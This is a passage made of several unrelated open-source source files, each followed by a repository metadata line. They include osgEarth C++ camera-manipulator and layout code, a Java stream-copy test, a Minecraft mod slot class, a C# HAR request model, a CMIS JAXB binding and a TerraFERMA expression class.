conf.getIfSet( "priority_scale", _priorityScale );
conf.getIfSet( "min_expiry_time", _minExpiryTime );
conf.getIfSet( "min_range", _minRange );
conf.getIfSet( "max_range", _maxRange );
ConfigSet children = conf.children( "level" );
for( ConfigSet::const_iterator i = children.begin(); i != children.end(); ++i )
addLevel( FeatureLevel( *i ) );
}
Config
FeatureDisplayLayout::getConfig() const
{
Config conf( "layout" );
conf.addIfSet( "tile_size", _tileSize );
conf.addIfSet( "tile_size_factor", _tileSizeFactor );
conf.addIfSet( "crop_features", _cropFeatures );
conf.addIfSet( "priority_offset", _priorityOffset );
conf.addIfSet( "priority_scale", _priorityScale );
conf.addIfSet( "min_expiry_time", _minExpiryTime );
conf.addIfSet( "min_range", _minRange );
conf.addIfSet( "max_range", _maxRange );
for( Levels::const_iterator i = _levels.begin(); i != _levels.end(); ++i )
conf.add( i->second.getConfig() );
return conf;
}
void
FeatureDisplayLayout::addLevel( const FeatureLevel& level )
{
_levels.insert( std::make_pair( -level.maxRange().get(), level ) );
}
unsigned
FeatureDisplayLayout::getNumLevels() const
{
return _levels.size();
}
const FeatureLevel*
FeatureDisplayLayout::getLevel( unsigned n ) const
{
unsigned i = 0;
for( Levels::const_iterator k = _levels.begin(); k != _levels.end(); ++k )
{
if ( n == i++ )
return &(k->second);
}
return 0L;
}
unsigned
FeatureDisplayLayout::chooseLOD( const FeatureLevel& level, double fullExtentRadius ) const
{
double radius = fullExtentRadius;
unsigned lod = 1;
for( ; lod < 20; ++lod )
{
radius *= 0.5;
float lodMaxRange = radius * _tileSizeFactor.value();
if ( level.maxRange() >= lodMaxRange )
break;
}
return lod-1;
}
| ldelgass/osgearth | src/osgEarthFeatures/FeatureDisplayLayout.cpp | C++ | lgpl-3.0 | 4,505 |
package de.riedquat.java.io;
import de.riedquat.java.util.Arrays;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import static de.riedquat.java.io.Util.copy;
import static de.riedquat.java.util.Arrays.EMPTY_BYTE_ARRAY;
import static org.junit.Assert.assertArrayEquals;
public class UtilTest {
@Test
public void emptyStream_copiesNothing() throws IOException {
assertCopies(EMPTY_BYTE_ARRAY);
}
@Test
public void copiesData() throws IOException {
assertCopies(Arrays.createRandomByteArray(10001));
}
private void assertCopies(final byte[] testData) throws IOException {
final ByteArrayInputStream in = new ByteArrayInputStream(testData);
final ByteArrayOutputStream out = new ByteArrayOutputStream();
copy(out, in);
assertArrayEquals(testData, out.toByteArray());
}
}
| christianhujer/japi | WebServer/test/de/riedquat/java/io/UtilTest.java | Java | lgpl-3.0 | 934 |
/* -*-c++-*- */
/* osgEarth - Dynamic map generation toolkit for OpenSceneGraph
* Copyright 2008-2014 Pelican Mapping
* http://osgearth.org
*
* osgEarth is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <string>
#include <osg/Notify>
#include <osg/Timer>
#include <osg/ShapeDrawable>
#include <osg/PositionAttitudeTransform>
#include <osgGA/StateSetManipulator>
#include <osgGA/GUIEventHandler>
#include <osgViewer/Viewer>
#include <osgViewer/ViewerEventHandlers>
#include <osgEarth/GeoMath>
#include <osgEarth/GeoTransform>
#include <osgEarth/MapNode>
#include <osgEarth/TerrainEngineNode>
#include <osgEarth/Viewpoint>
#include <osgEarthUtil/EarthManipulator>
#include <osgEarthUtil/AutoClipPlaneHandler>
#include <osgEarthUtil/Controls>
#include <osgEarthUtil/ExampleResources>
#include <osgEarthAnnotation/AnnotationUtils>
#include <osgEarthAnnotation/LabelNode>
#include <osgEarthSymbology/Style>
using namespace osgEarth::Util;
using namespace osgEarth::Util::Controls;
using namespace osgEarth::Annotation;
#define D2R (osg::PI/180.0)
#define R2D (180.0/osg::PI)
namespace
{
/**
* Builds our help menu UI.
*/
Control* createHelp( osgViewer::View* view )
{
const char* text[] =
{
"left mouse :", "pan",
"middle mouse :", "rotate",
"right mouse :", "continuous zoom",
"double-click :", "zoom to point",
"scroll wheel :", "zoom in/out",
"arrows :", "pan",
"1-6 :", "fly to preset viewpoints",
"shift-right-mouse :", "locked panning",
"u :", "toggle azimuth lock",
"c :", "toggle perspective/ortho",
"t :", "toggle tethering",
"a :", "toggle viewpoint arcing",
"z :", "toggle throwing",
"k :", "toggle collision"
};
Grid* g = new Grid();
for( unsigned i=0; i<sizeof(text)/sizeof(text[0]); ++i )
{
unsigned c = i % 2;
unsigned r = i / 2;
g->setControl( c, r, new LabelControl(text[i]) );
}
VBox* v = new VBox();
v->addControl( g );
return v;
}
/**
* Some preset viewpoints to show off the setViewpoint function.
*/
static Viewpoint VPs[] = {
Viewpoint( "Africa", osg::Vec3d( 0.0, 0.0, 0.0 ), 0.0, -90.0, 10e6 ),
Viewpoint( "California", osg::Vec3d( -121.0, 34.0, 0.0 ), 0.0, -90.0, 6e6 ),
Viewpoint( "Europe", osg::Vec3d( 0.0, 45.0, 0.0 ), 0.0, -90.0, 4e6 ),
Viewpoint( "Washington DC", osg::Vec3d( -77.0, 38.0, 0.0 ), 0.0, -90.0, 1e6 ),
Viewpoint( "Australia", osg::Vec3d( 135.0, -20.0, 0.0 ), 0.0, -90.0, 2e6 ),
Viewpoint( "Boston", osg::Vec3d( -71.096936, 42.332771, 0 ), 0.0, -90, 1e5 )
};
/**
* Handler that demonstrates the "viewpoint" functionality in
* osgEarthUtil::EarthManipulator. Press a number key to fly to a viewpoint.
*/
struct FlyToViewpointHandler : public osgGA::GUIEventHandler
{
FlyToViewpointHandler( EarthManipulator* manip ) : _manip(manip) { }
bool handle( const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa )
{
if ( ea.getEventType() == ea.KEYDOWN && ea.getKey() >= '1' && ea.getKey() <= '6' )
{
_manip->setViewpoint( VPs[ea.getKey()-'1'], 4.0 );
aa.requestRedraw();
}
return false;
}
osg::observer_ptr<EarthManipulator> _manip;
};
/**
* Handler to toggle "azimuth locking", which locks the camera's relative Azimuth
* while panning. For example, it can maintain "north-up" as you pan around. The
* caveat is that when azimuth is locked you cannot cross the poles.
*/
struct LockAzimuthHandler : public osgGA::GUIEventHandler
{
LockAzimuthHandler(char key, EarthManipulator* manip)
: _key(key), _manip(manip) { }
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool lockAzimuth = _manip->getSettings()->getLockAzimuthWhilePanning();
_manip->getSettings()->setLockAzimuthWhilePanning(!lockAzimuth);
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.addKeyboardMouseBinding(string(1, _key), string("Toggle azimuth locking"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Handler to toggle "viewpoint transtion arcing", which causes the camera to "arc"
* as it travels from one viewpoint to another.
*/
struct ToggleArcViewpointTransitionsHandler : public osgGA::GUIEventHandler
{
ToggleArcViewpointTransitionsHandler(char key, EarthManipulator* manip)
: _key(key), _manip(manip) { }
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool arc = _manip->getSettings()->getArcViewpointTransitions();
_manip->getSettings()->setArcViewpointTransitions(!arc);
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.addKeyboardMouseBinding(string(1, _key), string("Arc viewpoint transitions"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Toggles the projection matrix between perspective and orthographic.
*/
struct ToggleProjectionHandler : public osgGA::GUIEventHandler
{
ToggleProjectionHandler(char key, EarthManipulator* manip)
: _key(key), _manip(manip)
{
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
if ( _manip->getSettings()->getCameraProjection() == EarthManipulator::PROJ_PERSPECTIVE )
_manip->getSettings()->setCameraProjection( EarthManipulator::PROJ_ORTHOGRAPHIC );
else
_manip->getSettings()->setCameraProjection( EarthManipulator::PROJ_PERSPECTIVE );
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.addKeyboardMouseBinding(string(1, _key), string("Toggle projection type"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Toggles the throwing feature.
*/
struct ToggleThrowingHandler : public osgGA::GUIEventHandler
{
ToggleThrowingHandler(char key, EarthManipulator* manip)
: _key(key), _manip(manip)
{
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool throwing = _manip->getSettings()->getThrowingEnabled();
_manip->getSettings()->setThrowingEnabled( !throwing );
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.addKeyboardMouseBinding(string(1, _key), string("Toggle throwing"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Toggles the collision feature.
*/
struct ToggleCollisionHandler : public osgGA::GUIEventHandler
{
ToggleCollisionHandler(char key, EarthManipulator* manip)
: _key(key), _manip(manip)
{
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool collision = _manip->getSettings()->getDisableCollisionAvoidance();
_manip->getSettings()->setDisableCollisionAvoidance( !collision );
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.addKeyboardMouseBinding(string(1, _key), string("Toggle collision avoidance"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* A simple simulator that moves an object around the Earth. We use this to
* demonstrate/test tethering.
*/
struct Simulator : public osgGA::GUIEventHandler
{
Simulator( osg::Group* root, EarthManipulator* manip, MapNode* mapnode, osg::Node* model)
: _manip(manip), _mapnode(mapnode), _model(model), _lat0(55.0), _lon0(45.0), _lat1(-55.0), _lon1(-45.0)
{
if ( !model )
{
_model = AnnotationUtils::createSphere( 250.0, osg::Vec4(1,.7,.4,1) );
}
_xform = new GeoTransform();
_xform->setTerrain(mapnode->getTerrain());
_pat = new osg::PositionAttitudeTransform();
_pat->addChild( _model );
_xform->addChild( _pat );
_cam = new osg::Camera();
_cam->setRenderOrder( osg::Camera::NESTED_RENDER, 1 );
_cam->addChild( _xform );
Style style;
style.getOrCreate<TextSymbol>()->size() = 32.0f;
style.getOrCreate<TextSymbol>()->declutter() = false;
_label = new LabelNode(_mapnode, GeoPoint(), "Hello World", style);
_label->setDynamic( true );
_cam->addChild( _label );
root->addChild( _cam.get() );
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if ( ea.getEventType() == ea.FRAME )
{
double t = fmod( osg::Timer::instance()->time_s(), 600.0 ) / 600.0;
double lat, lon;
GeoMath::interpolate( D2R*_lat0, D2R*_lon0, D2R*_lat1, D2R*_lon1, t, lat, lon );
GeoPoint p( SpatialReference::create("wgs84"), R2D*lon, R2D*lat, 2500.0 );
double bearing = GeoMath::bearing(D2R*_lat1, D2R*_lon1, lat, lon);
_xform->setPosition( p );
_pat->setAttitude(osg::Quat(bearing, osg::Vec3d(0,0,1)));
_label->setPosition( p );
}
else if ( ea.getEventType() == ea.KEYDOWN && ea.getKey() == 't' )
{
_manip->getSettings()->setTetherMode(osgEarth::Util::EarthManipulator::TETHER_CENTER_AND_HEADING);
_manip->setTetherNode( _manip->getTetherNode() ? 0L : _xform.get(), 2.0 );
Viewpoint vp = _manip->getViewpoint();
vp.setRange(5000);
_manip->setViewpoint(vp);
return true;
}
return false;
}
MapNode* _mapnode;
EarthManipulator* _manip;
osg::ref_ptr<osg::Camera> _cam;
osg::ref_ptr<GeoTransform> _xform;
osg::ref_ptr<osg::PositionAttitudeTransform> _pat;
double _lat0, _lon0, _lat1, _lon1;
LabelNode* _label;
osg::Node* _model;
};
}
int main(int argc, char** argv)
{
osg::ArgumentParser arguments(&argc,argv);
if (arguments.read("--help") || argc==1)
{
OE_WARN << "Usage: " << argv[0] << " [earthFile] [--model modelToLoad]"
<< std::endl;
return 0;
}
osgViewer::Viewer viewer(arguments);
// install the programmable manipulator.
EarthManipulator* manip = new EarthManipulator();
viewer.setCameraManipulator( manip );
// UI:
Control* help = createHelp(&viewer);
osg::Node* earthNode = MapNodeHelper().load( arguments, &viewer, help );
if (!earthNode)
{
OE_WARN << "Unable to load earth model." << std::endl;
return -1;
}
osg::Group* root = new osg::Group();
root->addChild( earthNode );
osgEarth::MapNode* mapNode = osgEarth::MapNode::findMapNode( earthNode );
if ( mapNode )
{
if ( mapNode )
manip->setNode( mapNode->getTerrainEngine() );
if ( mapNode->getMap()->isGeocentric() )
{
manip->setHomeViewpoint(
Viewpoint( osg::Vec3d( -90, 0, 0 ), 0.0, -90.0, 5e7 ) );
}
}
// user model?
osg::Node* model = 0L;
std::string modelFile;
if (arguments.read("--model", modelFile))
model = osgDB::readNodeFile(modelFile);
// Simulator for tethering:
viewer.addEventHandler( new Simulator(root, manip, mapNode, model) );
manip->getSettings()->getBreakTetherActions().push_back( EarthManipulator::ACTION_PAN );
manip->getSettings()->getBreakTetherActions().push_back( EarthManipulator::ACTION_GOTO );
// Set the minimum distance to something larger than the default
manip->getSettings()->setMinMaxDistance(5.0, manip->getSettings()->getMaxDistance());
viewer.setSceneData( root );
manip->getSettings()->bindMouse(
EarthManipulator::ACTION_EARTH_DRAG,
osgGA::GUIEventAdapter::LEFT_MOUSE_BUTTON,
osgGA::GUIEventAdapter::MODKEY_SHIFT );
manip->getSettings()->setArcViewpointTransitions( true );
viewer.addEventHandler(new FlyToViewpointHandler( manip ));
viewer.addEventHandler(new LockAzimuthHandler('u', manip));
viewer.addEventHandler(new ToggleProjectionHandler('c', manip));
viewer.addEventHandler(new ToggleArcViewpointTransitionsHandler('a', manip));
viewer.addEventHandler(new ToggleThrowingHandler('z', manip));
viewer.addEventHandler(new ToggleCollisionHandler('k', manip));
viewer.getCamera()->setNearFarRatio(0.00002);
viewer.getCamera()->setSmallFeatureCullingPixelSize(-1.0f);
while(!viewer.done())
{
viewer.frame();
// simulate slow frame rate
//OpenThreads::Thread::microSleep(1000*1000);
}
return 0;
}
| Riorlan/osgearth | src/applications/osgearth_manip/osgearth_manip.cpp | C++ | lgpl-3.0 | 15,525 |
package com.darkona.adventurebackpack.inventory;
import com.darkona.adventurebackpack.common.IInventoryAdventureBackpack;
import com.darkona.adventurebackpack.init.ModBlocks;
import com.darkona.adventurebackpack.item.ItemAdventureBackpack;
import com.darkona.adventurebackpack.util.Utils;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
/**
* Created by Darkona on 12/10/2014.
*/
public class SlotBackpack extends SlotAdventureBackpack
{
public SlotBackpack(IInventoryAdventureBackpack inventory, int id, int x, int y)
{
super(inventory, id, x, y);
}
@Override
public boolean isItemValid(ItemStack stack)
{
return (!(stack.getItem() instanceof ItemAdventureBackpack) && !(stack.getItem() == Item.getItemFromBlock(ModBlocks.blockBackpack)));
}
@Override
public void onPickupFromSlot(EntityPlayer p_82870_1_, ItemStack p_82870_2_)
{
super.onPickupFromSlot(p_82870_1_, p_82870_2_);
}
}
| Mazdallier/AdventureBackpack2 | src/main/java/com/darkona/adventurebackpack/inventory/SlotBackpack.java | Java | lgpl-3.0 | 1,030 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace BitExAPI.Markets.Kraken.Requests
{
/// <summary>
/// https://api.kraken.com/0/private/TradeBalance
/// </summary>
public class RequestTradeBalance
{
}
}
/*Input:
aclass = asset class (optional):
currency (default)
asset = base asset used to determine balance (default = ZUSD)
Result: array of trade balance info
eb = equivalent balance (combined balance of all currencies)
tb = trade balance (combined balance of all equity currencies)
m = margin amount of open positions
n = unrealized net profit/loss of open positions
c = cost basis of open positions
v = current floating valuation of open positions
e = equity = trade balance + unrealized net profit/loss
mf = free margin = equity - initial margin (maximum margin available to open new positions)
ml = margin level = (equity / initial margin) * 100
*/ | Horndev/Bitcoin-Exchange-APIs.NET | BitExAPI/Markets/Kraken/Requests/RequestTradeBalance.cs | C# | lgpl-3.0 | 965 |
//
// BitWiseTrie.hpp
// Scissum
//
// Created by Marten van de Sanden on 12/1/15.
// Copyright © 2015 MVDS. All rights reserved.
//
#ifndef BitWiseTrie_hpp
#define BitWiseTrie_hpp
#include <vector>
//#include <iostream>
#include <cstring>
#define __SCISSUM_BITWISE_TRIE_USE_ZERO_TABLE 1
namespace scissum {
/// TODO: Add cache locality and allocation efficiency by pre allocating an array of nodes!!!!!
template <class _Key, class _Value>
class BitWiseTrie
{
public:
struct Node {
size_t childs[2];
_Value value;
Node()
{
childs[0] = 0;
childs[1] = 0;
}
};
BitWiseTrie()
{
d_nodes.resize(sizeof(_Key)*8+1);
for (size_t i = 0; i < sizeof(_Key)*8+1; ++i) {
d_zeroTable[i] = i;
}
}
Node const *node(size_t index) const
{
return &d_nodes[index];
}
Node const *roots(size_t lz) const
{
return &d_nodes[d_zeroTable[lz]];
}
Node *insert(_Key key)
{
int z = (key != 0?__builtin_clz(key):(sizeof(_Key) * 8));
size_t root = d_zeroTable[z];
int c = (sizeof(_Key) * 8) - z;
while (c-- > 0) {
//std::cout << "A " << c << " = " << !!(key & (1 << c)) << ".\n";
size_t n = d_nodes[root].childs[!!(key & (1 << c))];
if (n == 0) {
break;
}
root = n;
}
while (c > 0) {
//std::cout << "B " << c << " = " << !!(key & (1 << c)) << ".\n";
size_t n = d_nodes.size();
d_nodes.push_back(Node());
d_nodes[root].childs[!!(key & (1 << c--))] = n;
root = n;
}
if (c == 0) {
//std::cout << "C = " << !!(key & 1) << ".\n";
size_t n = d_nodes.size();
d_nodes.push_back(Node());
d_nodes[root].childs[!!(key & 1)] = n;
return &d_nodes[n];
}
return &d_nodes[root];
}
private:
std::vector<Node> d_nodes;
size_t d_zeroTable[sizeof(_Key)*8+1];
};
}
#endif /* BitWiseTrie_hpp */
| mvdsanden/scissum | src/utils/BitWiseTrie2.hpp | C++ | lgpl-3.0 | 2,584 |
/**
*×÷Õß:Âé²Ë
*ÈÕÆÚ:2013Äê6ÔÂ20ÈÕ
*¹¦ÄÜ:×Ô¶¨ÒåÑÕɫѡÔñ¶ÔÏó,´ÓQColorDialogÀàÖÐÌáÈ¡ÖØÐ·â×°.½ö±£Áôͨ¹ýÊó±êpickÌáÈ¡ÑÕÉ«µÄ¿Ø¼þ
*˵Ã÷:¿ªÔ´,Ãâ·Ñ,ʹÓÃʱÇë±£³Ö¿ªÔ´¾«Éñ.
*ÁªÏµ:[email protected]
*²©¿Í:www.newdebug.com
**/
#include "colorshowlabel.h"
#include <QApplication>
#include <QPainter>
#include <QMimeData>
#include <QDrag>
#include <QMouseEvent>
YviColorShowLabel::YviColorShowLabel(QWidget *parent) :
QFrame(parent)
{
this->setFrameStyle(QFrame::Panel|QFrame::Sunken);
this->setAcceptDrops(true);
m_mousePressed = false;
}
void YviColorShowLabel::paintEvent(QPaintEvent *e)
{
QPainter p(this);
drawFrame(&p);
p.fillRect(contentsRect()&e->rect(), m_color);
}
void YviColorShowLabel::mousePressEvent(QMouseEvent *e)
{
m_mousePressed = true;
m_pressPos = e->pos();
}
void YviColorShowLabel::mouseMoveEvent(QMouseEvent *e)
{
if (!m_mousePressed)
return;
if ((m_pressPos - e->pos()).manhattanLength() > QApplication::startDragDistance())
{
QMimeData *mime = new QMimeData;
mime->setColorData(m_color);
QPixmap pix(30, 20);
pix.fill(m_color);
QPainter p(&pix);
p.drawRect(0, 0, pix.width() - 1, pix.height() - 1);
p.end();
QDrag *drg = new QDrag(this);
drg->setMimeData(mime);
drg->setPixmap(pix);
m_mousePressed = false;
drg->start();
}
}
void YviColorShowLabel::mouseReleaseEvent(QMouseEvent *)
{
if (!m_mousePressed)
return;
m_mousePressed = false;
}
| newdebug/NewDebug | Qt/YviColorDialog/colorshowlabel.cpp | C++ | lgpl-3.0 | 1,536 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
namespace Harnet.Net
{
public class Request
{
#region Properties
/// <summary>
/// Request method (GET, POST, ...).
/// </summary>
public string Method { get; set; }
/// <summary>
/// Absolute URL of the request (fragments are not included).
/// </summary>
public string Url { get; set; }
/// <summary>
/// Request HTTP Version.
/// </summary>
public string HttpVersion { get; set; }
/// <summary>
/// List of header objects.
/// </summary>
public Dictionary<string, List<string>> Headers { get; set; }
/// <summary>
/// List of query parameter objects.
/// </summary>
public Dictionary<string, List<string>> QueryStrings { get; set; }
/// <summary>
/// List of cookie objects.
/// </summary>
public Dictionary<string, List<string>> Cookies { get; set; }
/// <summary>
/// Total number of bytes from the start of the HTTP request message until (and including) the double CRLF before the body. Set to -1 if the info is not available.
/// </summary>
public int HeaderSize { get; set; }
/// <summary>
/// Size of the request body (POST data payload) in bytes. Set to -1 if the info is not available.
/// </summary>
public int BodySize { get; set; }
/// <summary>
/// Posted data info.
/// </summary>
public PostData PostData { get; set; }
/// <summary>
/// A comment provided by the user or the application.
/// </summary>
public string Comment { get; set; }
#endregion
#region Methods
public List<string> GetHeaderValueByHeaderName(string name)
{
List<string> value = null;
if (Headers.ContainsKey(name))
{
value = Headers[name];
}
return value;
}
/// <summary>
/// Attempts to retrieve the filename from the request.
/// </summary>
/// <returns>Returns the filename. If no filename is found, returns null.</returns>
public string GetFileName()
{
string fileName = null;
// If we have query strings we remove them first because sometimes they get funky
if (this.QueryStrings.Count >= 1)
{
fileName = StripQueryStringsFromUrl();
}
else
fileName = Url;
// Isolate what's after the trailing slash and before any query string
int index = fileName.LastIndexOf("/");
// If difference between index and length is < 1, it means we have no file name
// e.g.: http://www.fsf.org/
int diff = fileName.Length - index;
if (index > 0 && diff > 1)
fileName = fileName.Substring(index +1, diff - 1);
else
fileName = null;
return fileName;
}
/// <summary>
/// Strips the Url of all query strings and returns it (e.g. www.fsf.org/index.html?foo=bar returns www.fsg.org/index.html).
/// </summary>
/// <returns></returns>
public string StripQueryStringsFromUrl()
{
int indexOf = Url.IndexOf("?");
if (indexOf >= 1)
return Url.Substring(0, indexOf);
else
return Url;
}
/// <summary>
/// Returns whether or not this request contains cookies.
/// </summary>
/// <returns></returns>
public bool HasCookies()
{
return (this.Cookies.Count > 0) ? true : false;
}
/// <summary>
/// Returns whether or not this request contains headers.
/// </summary>
/// <returns></returns>
public bool HasHeaders()
{
return (this.Headers.Count > 0) ? true : false;
}
/// <summary>
/// Returns whether or not this request contains query strings.
/// </summary>
/// <returns></returns>
public bool HasQueryStrings()
{
return (this.QueryStrings.Count > 0) ? true : false;
}
#endregion
}
}
| acastaner/harnet | harnet/Net/Request.cs | C# | lgpl-3.0 | 4,474 |
package org.alfresco.repo.cmis.ws;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlElementRef;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for anonymous complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="repositoryId" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="extension" type="{http://docs.oasis-open.org/ns/cmis/messaging/200908/}cmisExtensionType" minOccurs="0"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "", propOrder = {
"repositoryId",
"extension"
})
@XmlRootElement(name = "getRepositoryInfo")
public class GetRepositoryInfo {
@XmlElement(required = true)
protected String repositoryId;
@XmlElementRef(name = "extension", namespace = "http://docs.oasis-open.org/ns/cmis/messaging/200908/", type = JAXBElement.class)
protected JAXBElement<CmisExtensionType> extension;
/**
* Gets the value of the repositoryId property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getRepositoryId() {
return repositoryId;
}
/**
* Sets the value of the repositoryId property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRepositoryId(String value) {
this.repositoryId = value;
}
/**
* Gets the value of the extension property.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link CmisExtensionType }{@code >}
*
*/
public JAXBElement<CmisExtensionType> getExtension() {
return extension;
}
/**
* Sets the value of the extension property.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link CmisExtensionType }{@code >}
*
*/
public void setExtension(JAXBElement<CmisExtensionType> value) {
this.extension = ((JAXBElement<CmisExtensionType> ) value);
}
}
| loftuxab/community-edition-old | projects/remote-api/source/generated/org/alfresco/repo/cmis/ws/GetRepositoryInfo.java | Java | lgpl-3.0 | 2,688 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
namespace LeagueOfChampios
{
public class RouteConfig
{
public static void RegisterRoutes(RouteCollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
name: "Default",
url: "{controller}/{action}/{id}",
defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
);
}
}
} | pirufio/leagueofchampions | LeagueOfChampios/App_Start/RouteConfig.cs | C# | lgpl-3.0 | 585 |
// Copyright (C) 2013 Columbia University in the City of New York and others.
//
// Please see the AUTHORS file in the main source directory for a full list
// of contributors.
//
// This file is part of TerraFERMA.
//
// TerraFERMA is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// TerraFERMA is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with TerraFERMA. If not, see <http://www.gnu.org/licenses/>.
#include "SemiLagrangianExpression.h"
#include "BoostTypes.h"
#include "Bucket.h"
#include "Logger.h"
#include <dolfin.h>
using namespace buckettools;
//*******************************************************************|************************************************************//
// specific constructor (scalar)
//*******************************************************************|************************************************************//
SemiLagrangianExpression::SemiLagrangianExpression(const Bucket *bucket, const double_ptr time,
const std::pair< std::string, std::pair< std::string, std::string > > &function,
const std::pair< std::string, std::pair< std::string, std::string > > &velocity,
const std::pair< std::string, std::pair< std::string, std::string > > &outside) :
dolfin::Expression(),
bucket_(bucket),
time_(time),
funcname_(function),
velname_(velocity),
outname_(outside),
initialized_(false)
{
tf_not_parallelized("SemiLagrangianExpression");
}
//*******************************************************************|************************************************************//
// specific constructor (vector)
//*******************************************************************|************************************************************//
SemiLagrangianExpression::SemiLagrangianExpression(const std::size_t &dim,
const Bucket *bucket, const double_ptr time,
const std::pair< std::string, std::pair< std::string, std::string > > &function,
const std::pair< std::string, std::pair< std::string, std::string > > &velocity,
const std::pair< std::string, std::pair< std::string, std::string > > &outside) :
dolfin::Expression(dim),
bucket_(bucket),
time_(time),
funcname_(function),
velname_(velocity),
outname_(outside),
initialized_(false)
{
tf_not_parallelized("SemiLagrangianExpression");
}
//*******************************************************************|************************************************************//
// specific constructor (tensor)
//*******************************************************************|************************************************************//
SemiLagrangianExpression::SemiLagrangianExpression(const std::vector<std::size_t> &value_shape,
const Bucket *bucket, const double_ptr time,
const std::pair< std::string, std::pair< std::string, std::string > > &function,
const std::pair< std::string, std::pair< std::string, std::string > > &velocity,
const std::pair< std::string, std::pair< std::string, std::string > > &outside) :
dolfin::Expression(value_shape),
bucket_(bucket),
time_(time),
funcname_(function),
velname_(velocity),
outname_(outside),
initialized_(false)
{
tf_not_parallelized("SemiLagrangianExpression");
}
//*******************************************************************|************************************************************//
// default destructor
//*******************************************************************|************************************************************//
SemiLagrangianExpression::~SemiLagrangianExpression()
{
delete ufccellstar_;
ufccellstar_ = NULL;
delete[] xstar_;
xstar_ = NULL;
delete v_;
v_ = NULL;
delete oldv_;
oldv_ = NULL;
delete vstar_;
vstar_ = NULL;
delete cellcache_;
cellcache_ = NULL;
}
//*******************************************************************|************************************************************//
// initialize the expression
//*******************************************************************|************************************************************//
void SemiLagrangianExpression::init()
{
if (!initialized_)
{
initialized_ = true;
if(funcname_.second.first=="field")
{
func_ = (*(*(*bucket()).fetch_system(funcname_.first)).
fetch_field(funcname_.second.second)).
genericfunction_ptr(time());
}
else
{
func_ = (*(*(*bucket()).fetch_system(funcname_.first)).
fetch_coeff(funcname_.second.second)).
genericfunction_ptr(time());
}
if(velname_.second.first=="field")
{
vel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_field(velname_.second.second)).
genericfunction_ptr((*bucket()).current_time_ptr());
oldvel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_field(velname_.second.second)).
genericfunction_ptr((*bucket()).old_time_ptr());
}
else
{
vel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_coeff(velname_.second.second)).
genericfunction_ptr((*bucket()).current_time_ptr());
